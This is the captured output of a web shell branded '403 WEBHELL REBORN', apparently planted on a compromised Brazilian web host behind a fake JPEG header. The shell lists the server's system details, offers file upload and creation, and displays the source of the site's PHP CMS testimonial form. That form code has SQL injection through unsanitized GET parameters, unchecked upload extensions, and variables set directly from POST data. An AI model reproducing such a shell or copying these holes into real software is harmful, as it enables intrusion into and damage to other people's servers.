ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64
User : farolpborg ( 1053)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/farolpborg/public_html/cms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /home/farolpborg/public_html/cms/depoimentos-form.php
<?
$Pagina = "Depoimento";
$tabela = "depoimentos";
include("_includes/cabecalho.php");

$op = $_GET['op'];
$id = $_GET['id'];

if($op == "editar"){ $optx = 'salvar'; } else { $optx = 'adicionar'; }

foreach($_POST as $key => $valor){
	$$key = addslashes($valor);
}

$imagem        = $_FILES['imagem']['tmp_name'];
$imagem_name   = $_FILES['imagem']['name'];

$imagem_ref    = "dep";
$imagem_data   = date("dmYHis");
$imagem_ext    = pathinfo($imagem_name, PATHINFO_EXTENSION);

$imagem_dir    = "../_shared/".$tabela;

if(!empty($id)){
	$sqldel = mysqli_query($conecta, "SELECT imagem FROM $tabela WHERE id='$id'");
	$resdel = mysqli_fetch_object($sqldel);
}

$cpobgt  = '<section class="formulario">';
$cpobgt .= '<h1 title="'.$Pagina.'"><span>'.$Pagina.'</span></h1>';
$cpobgt .= '<p>';
$cpobgt .= '<strong>Campo(s) vazio(s):</strong><br><br>';
$cpobgt .= '- Nome do depoente<br>';
$cpobgt .= '- Depoimento';
$cpobgt .= '</p>';
$cpobgt .= '<div><div class="clearfix"><input type="submit" value="Voltar" name="<?=$optx;?>" onclick="history.back();"></div></div>';
$cpobgt .= '</section>';

if(isset($_POST['salvar'])){
    
    if($op == 'editar'){
        
        if(!empty($imagem)){
			@unlink($imagem_dir."/".$resdel->imagem);
            
			$nova_imagem = $imagem_ref.$imagem_data.".".$imagem_ext;
            
            move_uploaded_file($imagem, "$imagem_dir/$nova_imagem");
            
			redimensionar_imagem($imagem_dir."/".$nova_imagem, $ImgMed, $ImgMed, $imagem_dir."/med_".$nova_imagem);
            redimensionar_imagem($imagem_dir."/".$nova_imagem, $ImgMin, $ImgMin, $imagem_dir."/min_".$nova_imagem);
            
			mysqli_query($conecta, "UPDATE $tabela SET imagem='$nova_imagem' WHERE id='$id'");
        }
        
        if(empty($depoente) || empty($depoimento)){

            $erro = true;
            include("_ui/alerts.php");

            echo $cpobgt;
            exit;
        }
        
		mysqli_query($conecta, "UPDATE $tabela SET status='$status', depoente='$depoente', cargo='$cargo', depoimento='$depoimento' WHERE id='$id'");
        
        $sucesso_salvar = true;
        
        $atividade = $atividade_editar.$id;
    
    }
    
}

if(isset($_POST['adicionar'])){
        
    if(!empty($imagem)){
        $nova_imagem = $imagem_ref.$imagem_data.".".$imagem_ext;

        move_uploaded_file($imagem, "$imagem_dir/$nova_imagem");

        redimensionar_imagem($imagem_dir."/".$nova_imagem, $ImgMed, $ImgMed, $imagem_dir."/med_".$nova_imagem);
        redimensionar_imagem($imagem_dir."/".$nova_imagem, $ImgMin, $ImgMin, $imagem_dir."/min_".$nova_imagem);
    }
        
    if(empty($depoente) || empty($depoimento)){

        $erro = true;
        include("_ui/alerts.php");

        echo $cpobgt;
        exit;
    }
    
    mysqli_query($conecta, "INSERT INTO $tabela (status, depoente, cargo, imagem, depoimento) VALUES ('$status', '$depoente', '$cargo', '$nova_imagem', '$depoimento')");

    $id = mysqli_insert_id($conecta);
    
    $sucesso_adicionar = true;

    $atividade = $atividade_adicionar.$id;

}

if($op == 'ativar'){

    mysqli_query($conecta, "UPDATE $tabela SET status='1' WHERE id='$id'");

    $atividade = $atividade_ativar.$id;

    echo '<script type="text/javascript">document.location="'.$UrlCms.'/'.$tabela.'";</script>';

}

if($op == 'desativar'){

    mysqli_query($conecta, "UPDATE $tabela SET status='0' WHERE id='$id'");

    $atividade = $atividade_desativar.$id;

    echo '<script type="text/javascript">document.location="'.$UrlCms.'/'.$tabela.'";</script>';

}

if($op == 'remover_imagem'){
    
    @unlink($imagem_dir."/med_".$resdel->imagem);
    @unlink($imagem_dir."/min_".$resdel->imagem);

    mysqli_query($conecta, "UPDATE $tabela SET imagem='' WHERE id='$id'");

    $atividade = $atividade_deletar_imagem.$id;

    echo '<script type="text/javascript">document.location="'.$UrlCms.'/'.$tabela.'-form/editar/'.$id.'";</script>';

}

if($op == 'deletar'){
    
    @unlink($imagem_dir."/med_".$resdel->imagem);
    @unlink($imagem_dir."/min_".$resdel->imagem);
    
    mysqli_query($conecta, "DELETE FROM $tabela WHERE id='$id'");
    
    $atividade = $atividade_deletar.$id;

    echo '<script type="text/javascript">document.location="'.$UrlCms.'/'.$tabela.'";</script>';

}

if($op != 'ativar' && $op != 'desativar' && $op != 'deletar'){
    include("_ui/registros.php");
}

$sql = mysqli_query($conecta, "SELECT * FROM $tabela WHERE id='$id'");
$res = mysqli_fetch_object($sql);

include("_ui/alerts.php");
?>

<form method="post" action="" enctype="multipart/form-data">
<input name="id" type="hidden" value="<?=$id;?>">
<section class="formulario">
    <h1 title="<?=$Pagina;?>"><span><?=$Pagina;?></span></h1>
    <div>
        <label for="">Ativar?</label>
        <div class="clearfix cbx">
            <input type="checkbox" name="status" id="status" value="1"<? if($res->status == 1 || $op != "editar"){ ?> checked="checked"<? } ?>> <label for="status">Marcar para ativar</label><br>
        </div>
    </div>
    <div>
        <label for="depoente">Depoente</label>
        <div class="clearfix">
            <input type="text" name="depoente" id="depoente" class="tul" value="<?=$res->depoente;?>">
            <i class="zmdi zmdi-format-size tul" title="Capitular depoimento"></i>
        </div>
    </div>
    <div>
        <label for="cargo">Cargo</label>
        <div class="clearfix">
            <input type="text" name="cargo" id="cargo" value="<?=$res->cargo;?>">
            <small>Ex.: cargo@cargo.com</small>
        </div>
    </div>
    <div>
        <label for="imagem">Foto depoente</label>
        <div class="clearfix">
            <input type="file" name="imagem" id="imagem" class="pim">
            <small>Min. <?=$ImgLog;?>px</small>
            <? if(!empty($res->imagem)){ ?><a href="<?=$Url;?>/_shared/<?=$tabela;?>/med_<?=$res->imagem;?>" title="Ampliar imagem" class="ampimg"><img src="<?=$Url;?>/_shared/<?=$tabela;?>/min_<?=$res->imagem;?>" width="auto" class="pim" alt="Ampliar imagem"></a><br>
            <a href="javascript:void(0);" onclick="confirma('<?=$mensagem_excluir;?>', '<?=$UrlCms;?>/<?=$tabela;?>-form/remover_imagem/<?=$res->id;?>');" title="Remover imagem"><i class="zmdi zmdi-delete"></i> Remover imagem</a><? } ?>
            <img src="#" class="pim" height="auto">
        </div>
    </div>
    <div>
        <label for="txtarea">Depoimento</label>
        <div class="clearfix">
            <textarea name="depoimento" id="txtarea"><?=stripslashes($res->depoimento);?></textarea>
        </div>
    </div>
    <div>
        <div class="clearfix">
            <input type="submit" name="<?=$optx;?>" value="<?=$optx;?>"> <a href="<?=$UrlCms;?>/<?=$tabela;?>">Voltar</a>
        </div>
    </div>
</section>
</form>

<?
include("_includes/rodape.php");
?>

Anon7 - 2021